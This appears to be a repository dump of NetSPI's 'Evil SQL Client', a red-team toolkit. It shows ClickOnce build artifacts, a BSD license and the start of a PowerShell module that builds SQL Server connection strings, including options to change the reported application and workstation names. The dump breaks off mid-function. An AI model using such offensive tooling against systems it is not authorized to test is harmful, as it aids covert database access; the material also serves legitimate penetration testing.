Project\ClickOnceSQL\obj\Debug\ConsoleApplication2.pdb 14 | -------------------------------------------------------------------------------- /ClickOnceSQL/obj/Debug/ClickOnceSQL.csprojAssemblyReference.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NetSPI/ESC/bc61282f2a36a9d300256b38c2e6c6e09b179579/ClickOnceSQL/obj/Debug/ClickOnceSQL.csprojAssemblyReference.cache -------------------------------------------------------------------------------- /ClickOnceSQL/obj/Debug/ConsoleApplication2.application: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | sVWwE026EU+NlZydY0F+O1pNQT/46gAVCDAbn0iSsGM= 18 | 19 | 20 | 21 | -------------------------------------------------------------------------------- /ClickOnceSQL/obj/Debug/ConsoleApplication2.csproj.FileListAbsolute.txt: -------------------------------------------------------------------------------- 1 | c:\users\ssutherland\documents\visual studio 2015\Projects\ConsoleApplication2\ConsoleApplication2\bin\Debug\ConsoleApplication2.exe.config 2 | c:\users\ssutherland\documents\visual studio 2015\Projects\ConsoleApplication2\ConsoleApplication2\bin\Debug\ConsoleApplication2.exe 3 | c:\users\ssutherland\documents\visual studio 2015\Projects\ConsoleApplication2\ConsoleApplication2\bin\Debug\ConsoleApplication2.pdb 4 | c:\users\ssutherland\documents\visual studio 2015\Projects\ConsoleApplication2\ConsoleApplication2\bin\Debug\System.Management.Automation.dll 5 | c:\users\ssutherland\documents\visual studio 2015\Projects\ConsoleApplication2\ConsoleApplication2\obj\Debug\ConsoleApplication2.exe 6 | c:\users\ssutherland\documents\visual studio 2015\Projects\ConsoleApplication2\ConsoleApplication2\obj\Debug\ConsoleApplication2.pdb 7 | c:\users\ssutherland\documents\visual studio 2015\Projects\ConsoleApplication2\ConsoleApplication2\bin\Debug\ConsoleApplication2.exe.manifest 8 | c:\users\ssutherland\documents\visual studio 2015\Projects\ConsoleApplication2\ConsoleApplication2\bin\Debug\ConsoleApplication2.application 9 | c:\users\ssutherland\documents\visual studio 2015\Projects\ConsoleApplication2\ConsoleApplication2\obj\Debug\ConsoleApplication2.csprojResolveAssemblyReference.cache 10 | c:\users\ssutherland\documents\visual studio 2015\Projects\ConsoleApplication2\ConsoleApplication2\obj\Debug\ConsoleApplication2.exe.manifest 11 | c:\users\ssutherland\documents\visual studio 2015\Projects\ConsoleApplication2\ConsoleApplication2\obj\Debug\ConsoleApplication2.application 12 | -------------------------------------------------------------------------------- /ClickOnceSQL/obj/Debug/ConsoleApplication2.csprojResolveAssemblyReference.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NetSPI/ESC/bc61282f2a36a9d300256b38c2e6c6e09b179579/ClickOnceSQL/obj/Debug/ConsoleApplication2.csprojResolveAssemblyReference.cache -------------------------------------------------------------------------------- /ClickOnceSQL/obj/Debug/ConsoleApplication2.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NetSPI/ESC/bc61282f2a36a9d300256b38c2e6c6e09b179579/ClickOnceSQL/obj/Debug/ConsoleApplication2.exe -------------------------------------------------------------------------------- /ClickOnceSQL/obj/Debug/ConsoleApplication2.exe.manifest: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | M/50hfuATajuPjNBEevuBnubxHi81wZeav/IXaaUE6A= 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | lkhv2UhjSeLBPorr/OgzCviQcmv6IIaZUQLkNI+1HZQ= 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 6N7MliNbVJSIAIPrecIshMbZ7zEoKLr5SQvud4LDUOw= 85 | 86 | 87 | -------------------------------------------------------------------------------- /ClickOnceSQL/obj/Debug/ConsoleApplication2.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NetSPI/ESC/bc61282f2a36a9d300256b38c2e6c6e09b179579/ClickOnceSQL/obj/Debug/ConsoleApplication2.pdb -------------------------------------------------------------------------------- /ClickOnceSQL/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NetSPI/ESC/bc61282f2a36a9d300256b38c2e6c6e09b179579/ClickOnceSQL/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache -------------------------------------------------------------------------------- /ClickOnceSQL/obj/Debug/TemporaryGeneratedFile_036C0B5B-1481-4323-8D20-8F5ADCB23D92.cs: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NetSPI/ESC/bc61282f2a36a9d300256b38c2e6c6e09b179579/ClickOnceSQL/obj/Debug/TemporaryGeneratedFile_036C0B5B-1481-4323-8D20-8F5ADCB23D92.cs -------------------------------------------------------------------------------- /ClickOnceSQL/obj/Debug/TemporaryGeneratedFile_5937a670-0e60-4077-877b-f7221da3dda1.cs: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NetSPI/ESC/bc61282f2a36a9d300256b38c2e6c6e09b179579/ClickOnceSQL/obj/Debug/TemporaryGeneratedFile_5937a670-0e60-4077-877b-f7221da3dda1.cs -------------------------------------------------------------------------------- /ClickOnceSQL/obj/Debug/TemporaryGeneratedFile_E7A71F73-0F8D-4B9B-B56E-8E70B10BC5D3.cs: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NetSPI/ESC/bc61282f2a36a9d300256b38c2e6c6e09b179579/ClickOnceSQL/obj/Debug/TemporaryGeneratedFile_E7A71F73-0F8D-4B9B-B56E-8E70B10BC5D3.cs -------------------------------------------------------------------------------- /ClickOnceSQL/obj/Release/ClickOnce-Psh-Template.csproj.CopyComplete: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NetSPI/ESC/bc61282f2a36a9d300256b38c2e6c6e09b179579/ClickOnceSQL/obj/Release/ClickOnce-Psh-Template.csproj.CopyComplete -------------------------------------------------------------------------------- /ClickOnceSQL/obj/Release/ClickOnce-Psh-Template.csproj.CoreCompileInputs.cache: -------------------------------------------------------------------------------- 1 | 392aa5c72bc25f7a2286f7ef93237fcac0d6c653 2 | -------------------------------------------------------------------------------- /ClickOnceSQL/obj/Release/ClickOnce-Psh-Template.csproj.FileListAbsolute.txt: -------------------------------------------------------------------------------- 1 | C:\Users\ssutherland\Downloads\ClickOnce-PowerShell-master\ClickOnce-PowerShell-master\Visual Studio Project\ConsoleApplication2\obj\Release\ClickOnce-Psh-Template.csprojAssemblyReference.cache 2 | C:\Users\ssutherland\Downloads\ClickOnce-PowerShell-master\ClickOnce-PowerShell-master\Visual Studio Project\ConsoleApplication2\obj\Release\ClickOnce-Psh-Template.csproj.CoreCompileInputs.cache 3 | C:\Users\ssutherland\Downloads\ClickOnce-PowerShell-master\ClickOnce-PowerShell-master\Visual Studio Project\ConsoleApplication2\obj\Release\ConsoleApplication2.exe 4 | C:\Users\ssutherland\Downloads\ClickOnce-PowerShell-master\ClickOnce-PowerShell-master\Visual Studio Project\ConsoleApplication2\obj\Release\ConsoleApplication2.pdb 5 | C:\Users\ssutherland\Downloads\ClickOnce-PowerShell-master\ClickOnce-PowerShell-master\Visual Studio Project\ConsoleApplication2\bin\Release\ConsoleApplication2.exe.config 6 | C:\Users\ssutherland\Downloads\ClickOnce-PowerShell-master\ClickOnce-PowerShell-master\Visual Studio Project\ConsoleApplication2\bin\Release\ConsoleApplication2.exe.manifest 7 | C:\Users\ssutherland\Downloads\ClickOnce-PowerShell-master\ClickOnce-PowerShell-master\Visual Studio Project\ConsoleApplication2\bin\Release\ConsoleApplication2.application 8 | C:\Users\ssutherland\Downloads\ClickOnce-PowerShell-master\ClickOnce-PowerShell-master\Visual Studio Project\ConsoleApplication2\bin\Release\ConsoleApplication2.exe 9 | C:\Users\ssutherland\Downloads\ClickOnce-PowerShell-master\ClickOnce-PowerShell-master\Visual Studio Project\ConsoleApplication2\bin\Release\ConsoleApplication2.pdb 10 | C:\Users\ssutherland\Downloads\ClickOnce-PowerShell-master\ClickOnce-PowerShell-master\Visual Studio Project\ConsoleApplication2\bin\Release\System.Management.Automation.dll 11 | C:\Users\ssutherland\Downloads\ClickOnce-PowerShell-master\ClickOnce-PowerShell-master\Visual Studio Project\ConsoleApplication2\obj\Release\ConsoleApplication2.exe.manifest 12 | C:\Users\ssutherland\Downloads\ClickOnce-PowerShell-master\ClickOnce-PowerShell-master\Visual Studio Project\ConsoleApplication2\obj\Release\ConsoleApplication2.application 13 | C:\Users\ssutherland\Downloads\ClickOnce-PowerShell-master\ClickOnce-PowerShell-master\Visual Studio Project\ConsoleApplication2\obj\Release\ClickOnce-Psh-Template.csproj.CopyComplete 14 | -------------------------------------------------------------------------------- /ClickOnceSQL/obj/Release/ClickOnce-Psh-Template.csprojAssemblyReference.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NetSPI/ESC/bc61282f2a36a9d300256b38c2e6c6e09b179579/ClickOnceSQL/obj/Release/ClickOnce-Psh-Template.csprojAssemblyReference.cache -------------------------------------------------------------------------------- /ClickOnceSQL/obj/Release/ClickOnceSQL.application: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | LCe/5H8TUz23V0mGjZdhkvxZRt5BTcJpgv/O3NlOkMc= 25 | 26 | 27 | 28 | -------------------------------------------------------------------------------- /ClickOnceSQL/obj/Release/ClickOnceSQL.csproj.CopyComplete: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NetSPI/ESC/bc61282f2a36a9d300256b38c2e6c6e09b179579/ClickOnceSQL/obj/Release/ClickOnceSQL.csproj.CopyComplete -------------------------------------------------------------------------------- /ClickOnceSQL/obj/Release/ClickOnceSQL.csproj.CoreCompileInputs.cache: -------------------------------------------------------------------------------- 1 | 392aa5c72bc25f7a2286f7ef93237fcac0d6c653 2 | -------------------------------------------------------------------------------- /ClickOnceSQL/obj/Release/ClickOnceSQL.csproj.FileListAbsolute.txt: -------------------------------------------------------------------------------- 1 | C:\Users\ssutherland\Downloads\ClickOnce-PowerShell-master\ClickOnce-PowerShell-master\Visual Studio Project\ConsoleApplication2\bin\Release\ConsoleApplication2.exe.config 2 | C:\Users\ssutherland\Downloads\ClickOnce-PowerShell-master\ClickOnce-PowerShell-master\Visual Studio Project\ConsoleApplication2\bin\Release\ConsoleApplication2.exe.manifest 3 | C:\Users\ssutherland\Downloads\ClickOnce-PowerShell-master\ClickOnce-PowerShell-master\Visual Studio Project\ConsoleApplication2\bin\Release\ConsoleApplication2.application 4 | C:\Users\ssutherland\Downloads\ClickOnce-PowerShell-master\ClickOnce-PowerShell-master\Visual Studio Project\ConsoleApplication2\bin\Release\ConsoleApplication2.exe 5 | C:\Users\ssutherland\Downloads\ClickOnce-PowerShell-master\ClickOnce-PowerShell-master\Visual Studio Project\ConsoleApplication2\bin\Release\ConsoleApplication2.pdb 6 | C:\Users\ssutherland\Downloads\ClickOnce-PowerShell-master\ClickOnce-PowerShell-master\Visual Studio Project\ConsoleApplication2\bin\Release\System.Management.Automation.dll 7 | C:\Users\ssutherland\Downloads\ClickOnce-PowerShell-master\ClickOnce-PowerShell-master\Visual Studio Project\ConsoleApplication2\obj\Release\ClickOnceSQL.csproj.CoreCompileInputs.cache 8 | C:\Users\ssutherland\Downloads\ClickOnce-PowerShell-master\ClickOnce-PowerShell-master\Visual Studio Project\ConsoleApplication2\obj\Release\ConsoleApplication2.exe.manifest 9 | C:\Users\ssutherland\Downloads\ClickOnce-PowerShell-master\ClickOnce-PowerShell-master\Visual Studio Project\ConsoleApplication2\obj\Release\ConsoleApplication2.application 10 | C:\Users\ssutherland\Downloads\ClickOnce-PowerShell-master\ClickOnce-PowerShell-master\Visual Studio Project\ConsoleApplication2\obj\Release\ClickOnceSQL.csproj.CopyComplete 11 | C:\Users\ssutherland\Downloads\ClickOnce-PowerShell-master\ClickOnce-PowerShell-master\Visual Studio Project\ConsoleApplication2\obj\Release\ConsoleApplication2.exe 12 | C:\Users\ssutherland\Downloads\ClickOnce-PowerShell-master\ClickOnce-PowerShell-master\Visual Studio Project\ConsoleApplication2\obj\Release\ConsoleApplication2.pdb 13 | C:\Users\ssutherland\Downloads\ClickOnce-PowerShell-master\ClickOnce-PowerShell-master\Visual Studio Project\ClickOnceSQL\bin\Release\System.Management.Automation.dll 14 | C:\Users\ssutherland\Downloads\ClickOnce-PowerShell-master\ClickOnce-PowerShell-master\Visual Studio Project\ClickOnceSQL\obj\Release\ClickOnceSQL.csproj.CoreCompileInputs.cache 15 | C:\Users\ssutherland\Downloads\ClickOnce-PowerShell-master\ClickOnce-PowerShell-master\Visual Studio Project\ClickOnceSQL\obj\Release\ClickOnceSQL.csproj.CopyComplete 16 | C:\Users\ssutherland\Downloads\ClickOnce-PowerShell-master\ClickOnce-PowerShell-master\Visual Studio Project\ClickOnceSQL\bin\Release\ClickOnceSQL.exe.config 17 | C:\Users\ssutherland\Downloads\ClickOnce-PowerShell-master\ClickOnce-PowerShell-master\Visual Studio Project\ClickOnceSQL\bin\Release\ClickOnceSQL.exe.manifest 18 | C:\Users\ssutherland\Downloads\ClickOnce-PowerShell-master\ClickOnce-PowerShell-master\Visual Studio Project\ClickOnceSQL\bin\Release\ClickOnceSQL.application 19 | C:\Users\ssutherland\Downloads\ClickOnce-PowerShell-master\ClickOnce-PowerShell-master\Visual Studio Project\ClickOnceSQL\bin\Release\ClickOnceSQL.exe 20 | C:\Users\ssutherland\Downloads\ClickOnce-PowerShell-master\ClickOnce-PowerShell-master\Visual Studio Project\ClickOnceSQL\bin\Release\ClickOnceSQL.pdb 21 | C:\Users\ssutherland\Downloads\ClickOnce-PowerShell-master\ClickOnce-PowerShell-master\Visual Studio Project\ClickOnceSQL\obj\Release\ClickOnceSQL.csprojAssemblyReference.cache 22 | C:\Users\ssutherland\Downloads\ClickOnce-PowerShell-master\ClickOnce-PowerShell-master\Visual Studio Project\ClickOnceSQL\obj\Release\ClickOnceSQL.exe.manifest 23 | C:\Users\ssutherland\Downloads\ClickOnce-PowerShell-master\ClickOnce-PowerShell-master\Visual Studio Project\ClickOnceSQL\obj\Release\ClickOnceSQL.application 24 | C:\Users\ssutherland\Downloads\ClickOnce-PowerShell-master\ClickOnce-PowerShell-master\Visual Studio Project\ClickOnceSQL\obj\Release\ClickOnceSQL.exe 25 | C:\Users\ssutherland\Downloads\ClickOnce-PowerShell-master\ClickOnce-PowerShell-master\Visual Studio Project\ClickOnceSQL\obj\Release\ClickOnceSQL.pdb 26 | C:\Users\ssutherland\Desktop\ClickOnceSQL\bin\Release\ClickOnceSQL.exe.config 27 | C:\Users\ssutherland\Desktop\ClickOnceSQL\bin\Release\ClickOnceSQL.exe.manifest 28 | C:\Users\ssutherland\Desktop\ClickOnceSQL\bin\Release\ClickOnceSQL.application 29 | C:\Users\ssutherland\Desktop\ClickOnceSQL\bin\Release\ClickOnceSQL.exe 30 | C:\Users\ssutherland\Desktop\ClickOnceSQL\bin\Release\ClickOnceSQL.pdb 31 | C:\Users\ssutherland\Desktop\ClickOnceSQL\bin\Release\System.Management.Automation.dll 32 | C:\Users\ssutherland\Desktop\ClickOnceSQL\obj\Release\ClickOnceSQL.csprojAssemblyReference.cache 33 | C:\Users\ssutherland\Desktop\ClickOnceSQL\obj\Release\ClickOnceSQL.csproj.CoreCompileInputs.cache 34 | C:\Users\ssutherland\Desktop\ClickOnceSQL\obj\Release\ClickOnceSQL.exe.manifest 35 | C:\Users\ssutherland\Desktop\ClickOnceSQL\obj\Release\ClickOnceSQL.application 36 | C:\Users\ssutherland\Desktop\ClickOnceSQL\obj\Release\ClickOnceSQL.csproj.CopyComplete 37 | C:\Users\ssutherland\Desktop\ClickOnceSQL\obj\Release\ClickOnceSQL.exe 38 | C:\Users\ssutherland\Desktop\ClickOnceSQL\obj\Release\ClickOnceSQL.pdb 39 | C:\Users\ssutherland\Desktop\ClickOnceSQL\bin\Release\App.config 40 | C:\temp\ClickOnceSQL\bin\Release\App.config 41 | C:\temp\ClickOnceSQL\bin\Release\ClickOnceSQL.exe.config 42 | C:\temp\ClickOnceSQL\bin\Release\ClickOnceSQL.exe.manifest 43 | C:\temp\ClickOnceSQL\bin\Release\ClickOnceSQL.application 44 | C:\temp\ClickOnceSQL\bin\Release\ClickOnceSQL.exe 45 | C:\temp\ClickOnceSQL\bin\Release\ClickOnceSQL.pdb 46 | C:\temp\ClickOnceSQL\bin\Release\System.Management.Automation.dll 47 | C:\temp\ClickOnceSQL\obj\Release\ClickOnceSQL.csprojAssemblyReference.cache 48 | C:\temp\ClickOnceSQL\obj\Release\ClickOnceSQL.csproj.CoreCompileInputs.cache 49 | C:\temp\ClickOnceSQL\obj\Release\ClickOnceSQL.exe.manifest 50 | C:\temp\ClickOnceSQL\obj\Release\ClickOnceSQL.application 51 | C:\temp\ClickOnceSQL\obj\Release\ClickOnceSQL.csproj.CopyComplete 52 | C:\temp\ClickOnceSQL\obj\Release\ClickOnceSQL.exe 53 | C:\temp\ClickOnceSQL\obj\Release\ClickOnceSQL.pdb 54 | -------------------------------------------------------------------------------- /ClickOnceSQL/obj/Release/ClickOnceSQL.csprojAssemblyReference.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NetSPI/ESC/bc61282f2a36a9d300256b38c2e6c6e09b179579/ClickOnceSQL/obj/Release/ClickOnceSQL.csprojAssemblyReference.cache -------------------------------------------------------------------------------- /ClickOnceSQL/obj/Release/ClickOnceSQL.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NetSPI/ESC/bc61282f2a36a9d300256b38c2e6c6e09b179579/ClickOnceSQL/obj/Release/ClickOnceSQL.exe -------------------------------------------------------------------------------- /ClickOnceSQL/obj/Release/ClickOnceSQL.exe.manifest: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | en7cSzFpXDxuQQpEss6wMV8mhFtfz/v2XAS3BDRmne4= 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | lkhv2UhjSeLBPorr/OgzCviQcmv6IIaZUQLkNI+1HZQ= 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 6N7MliNbVJSIAIPrecIshMbZ7zEoKLr5SQvud4LDUOw= 85 | 86 | 87 | -------------------------------------------------------------------------------- /ClickOnceSQL/obj/Release/ClickOnceSQL.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NetSPI/ESC/bc61282f2a36a9d300256b38c2e6c6e09b179579/ClickOnceSQL/obj/Release/ClickOnceSQL.pdb -------------------------------------------------------------------------------- /ClickOnceSQL/obj/Release/DesignTimeResolveAssemblyReferences.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NetSPI/ESC/bc61282f2a36a9d300256b38c2e6c6e09b179579/ClickOnceSQL/obj/Release/DesignTimeResolveAssemblyReferences.cache -------------------------------------------------------------------------------- /ClickOnceSQL/obj/Release/DesignTimeResolveAssemblyReferencesInput.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NetSPI/ESC/bc61282f2a36a9d300256b38c2e6c6e09b179579/ClickOnceSQL/obj/Release/DesignTimeResolveAssemblyReferencesInput.cache -------------------------------------------------------------------------------- /ClickOnceSQL/obj/Release/TemporaryGeneratedFile_036C0B5B-1481-4323-8D20-8F5ADCB23D92.cs: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NetSPI/ESC/bc61282f2a36a9d300256b38c2e6c6e09b179579/ClickOnceSQL/obj/Release/TemporaryGeneratedFile_036C0B5B-1481-4323-8D20-8F5ADCB23D92.cs -------------------------------------------------------------------------------- /ClickOnceSQL/obj/Release/TemporaryGeneratedFile_5937a670-0e60-4077-877b-f7221da3dda1.cs: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NetSPI/ESC/bc61282f2a36a9d300256b38c2e6c6e09b179579/ClickOnceSQL/obj/Release/TemporaryGeneratedFile_5937a670-0e60-4077-877b-f7221da3dda1.cs -------------------------------------------------------------------------------- /ClickOnceSQL/obj/Release/TemporaryGeneratedFile_E7A71F73-0F8D-4B9B-B56E-8E70B10BC5D3.cs: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NetSPI/ESC/bc61282f2a36a9d300256b38c2e6c6e09b179579/ClickOnceSQL/obj/Release/TemporaryGeneratedFile_E7A71F73-0F8D-4B9B-B56E-8E70B10BC5D3.cs -------------------------------------------------------------------------------- /ClickOnceSQL/publish.htm: -------------------------------------------------------------------------------- 1 |  2 | 3 | ClickOnceSQL 4 | 5 | 48 | 49 | 115 | 116 | 117 | 118 | 119 | 120 | 121 | 122 | 123 | 124 | 125 | 126 | 145 | 146 | 147 | 148 | 149 | 150 | 151 | 152 | 153 | 154 | 160 | 161 |
127 | 128 | 129 |
 
Name:ClickOnceSQL
 
Version:1.0.0.5
 
Publisher:
 
130 | 131 | 132 | 133 | 134 |
The following prerequisites are required:
 
    135 |
  • Microsoft .NET Framework 4.5.2 (x86 and x64)
    • 136 |
137 | If these components are already installed, you can launch the application now. Otherwise, click the button below to install the prerequisites and run the application. 138 |
 
139 | 140 | 141 | 142 |
143 | 144 |
Install
 
155 | 156 |
ClickOnce and .NET Framework Resources 157 |
158 | 159 |
162 | 163 | -------------------------------------------------------------------------------- /ClickOnceSQL/setup.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NetSPI/ESC/bc61282f2a36a9d300256b38c2e6c6e09b179579/ClickOnceSQL/setup.exe -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | Evil SQL Client (ESC) is provided under the 3-clause BSD license below. 2 | 3 | ************************************************************* 4 | 5 | Copyright (c) 2020, NetSPI 6 | All rights reserved. 7 | 8 | Redistribution and use in source and binary forms, with or without 9 | modification, are permitted provided that the following conditions are met: 10 | 11 | * Redistributions of source code must retain the above copyright notice, this 12 | list of conditions and the following disclaimer. 13 | 14 | * Redistributions in binary form must reproduce the above copyright notice, 15 | this list of conditions and the following disclaimer in the documentation 16 | and/or other materials provided with the distribution. 17 | 18 | * Neither the name of Evil SQL Client (ESC) nor the names of its 19 | contributors may be used to endorse or promote products derived from 20 | this software without specific prior written permission. 21 | 22 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 23 | AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 24 | IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 25 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE 26 | FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 27 | DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 28 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER 29 | CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, 30 | OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 31 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 32 | -------------------------------------------------------------------------------- /Msbuild-Templates/Get-SQLQuery.psm1: -------------------------------------------------------------------------------- 1 | 2 | 3 | Function Get-SQLConnectionObject 4 | { 5 | [CmdletBinding()] 6 | Param( 7 | [Parameter(Mandatory = $false, 8 | HelpMessage = 'SQL Server or domain account to authenticate with.')] 9 | [string]$Username, 10 | 11 | [Parameter(Mandatory = $false, 12 | HelpMessage = 'SQL Server or domain account password to authenticate with.')] 13 | [string]$Password, 14 | 15 | [Parameter(Mandatory = $false, 16 | HelpMessage = 'Windows credentials.')] 17 | [System.Management.Automation.PSCredential] 18 | [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty, 19 | 20 | [Parameter(Mandatory = $false, 21 | ValueFromPipelineByPropertyName = $true, 22 | HelpMessage = 'SQL Server instance to connection to.')] 23 | [string]$Instance, 24 | 25 | [Parameter(Mandatory = $false, 26 | HelpMessage = 'Dedicated Administrator Connection (DAC).')] 27 | [Switch]$DAC, 28 | 29 | [Parameter(Mandatory = $false, 30 | HelpMessage = 'Default database to connect to.')] 31 | [String]$Database, 32 | 33 | [Parameter(Mandatory = $false, 34 | HelpMessage = 'Change appname.')] 35 | [string]$AppName = "", 36 | 37 | [Parameter(Mandatory = $false, 38 | HelpMessage = 'Change workstation name.')] 39 | [string]$WorkstationId = "", 40 | 41 | [Parameter(Mandatory = $false, 42 | HelpMessage = 'Use an encrypted connection.')] 43 | [ValidateSet("Yes","No","")] 44 | [string]$Encrypt = "", 45 | 46 | [Parameter(Mandatory = $false, 47 | HelpMessage = 'Trust the certificate of the remote server.')] 48 | [ValidateSet("Yes","No","")] 49 | [string]$TrustServerCert = "", 50 | 51 | [Parameter(Mandatory = $false, 52 | HelpMessage = 'Connection timeout.')] 53 | [string]$TimeOut = 1 54 | ) 55 | 56 | Begin 57 | { 58 | if($DAC) 59 | { 60 | $DacConn = 'ADMIN:' 61 | } 62 | else 63 | { 64 | $DacConn = '' 65 | } 66 | 67 | if(-not $Database) 68 | { 69 | $Database = 'Master' 70 | } 71 | 72 | if($AppName){ 73 | $AppNameString = ";Application Name=`"$AppName`"" 74 | }else{ 75 | $AppNameString = "" 76 | } 77 | 78 | if($WorkstationId){ 79 | $WorkstationString = ";Workstation Id=`"$WorkstationId`"" 80 | }else{ 81 | $WorkstationString = "" 82 | } 83 | 84 | if($Encrypt){ 85 | $EncryptString = ";Encrypt=Yes" 86 | }else{ 87 | $EncryptString = "" 88 | } 89 | 90 | if($TrustServerCert){ 91 | $TrustCertString = ";TrustServerCertificate=Yes" 92 | }else{ 93 | $TrustCertString = "" 94 | } 95 | } 96 | 97 | Process 98 | { 99 | # Check for instance 100 | if ( -not $Instance) 101 | { 102 | $Instance = $env:COMPUTERNAME 103 | } 104 | 105 | $Connection = New-Object -TypeName System.Data.SqlClient.SqlConnection 106 | 107 | if(-not $Username){ 108 | 109 | # Set authentication type 110 | $AuthenticationType = "Current Windows Credentials" 111 | 112 | # Set connection string 113 | $Connection.ConnectionString = "Server=$DacConn$Instance;Database=$Database;Integrated Security=SSPI;Connection Timeout=1$AppNameString$EncryptString$TrustCertString$WorkstationString" 114 | } 115 | 116 | if ($username -like "*\*"){ 117 | $AuthenticationType = "Provided Windows Credentials" 118 | 119 | # Setup connection string 120 | $Connection.ConnectionString = "Server=$DacConn$Instance;Database=$Database;Integrated Security=SSPI;uid=$Username;pwd=$Password;Connection Timeout=$TimeOut$AppNameString$EncryptString$TrustCertString$WorkstationString" 121 | } 122 | 123 | if (($username) -and ($username -notlike "*\*")){ 124 | 125 | # Set authentication type 126 | $AuthenticationType = "Provided SQL Login" 127 | 128 | # Setup connection string 129 | $Connection.ConnectionString = "Server=$DacConn$Instance;Database=$Database;User ID=$Username;Password=$Password;Connection Timeout=$TimeOut$AppNameString$EncryptString$TrustCertString$WorkstationString" 130 | } 131 | 132 | return $Connection 133 | } 134 | 135 | End 136 | { 137 | } 138 | } 139 | 140 | Function Get-SQLQuery 141 | { 142 | [CmdletBinding()] 143 | Param( 144 | [Parameter(Mandatory = $false, 145 | ValueFromPipelineByPropertyName = $true, 146 | HelpMessage = 'SQL Server or domain account to authenticate with.')] 147 | [string]$Username, 148 | 149 | [Parameter(Mandatory = $false, 150 | ValueFromPipelineByPropertyName = $true, 151 | HelpMessage = 'SQL Server or domain account password to authenticate with.')] 152 | [string]$Password, 153 | 154 | [Parameter(Mandatory = $false, 155 | HelpMessage = 'Windows credentials.')] 156 | [System.Management.Automation.PSCredential] 157 | [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty, 158 | 159 | [Parameter(Mandatory = $false, 160 | ValueFromPipelineByPropertyName = $true, 161 | HelpMessage = 'SQL Server instance to connection to.')] 162 | [string]$Instance, 163 | 164 | [Parameter(Mandatory = $false, 165 | ValueFromPipelineByPropertyName = $true, 166 | HelpMessage = 'SQL Server query.')] 167 | [string]$Query, 168 | 169 | [Parameter(Mandatory = $false, 170 | HelpMessage = 'Connect using Dedicated Admin Connection.')] 171 | [Switch]$DAC, 172 | 173 | [Parameter(Mandatory = $false, 174 | HelpMessage = 'Default database to connect to.')] 175 | [String]$Database, 176 | 177 | [Parameter(Mandatory = $false, 178 | HelpMessage = 'Connection timeout.')] 179 | [int]$TimeOut, 180 | 181 | [Parameter(Mandatory = $false, 182 | HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')] 183 | [switch]$SuppressVerbose, 184 | 185 | [Parameter(Mandatory = $false, 186 | HelpMessage = 'Change application name in connection string.')] 187 | [string]$AppName = "", 188 | 189 | [Parameter(Mandatory = $false, 190 | HelpMessage = 'Change hostname in connection string.')] 191 | [string]$WorkstationId = "", 192 | 193 | 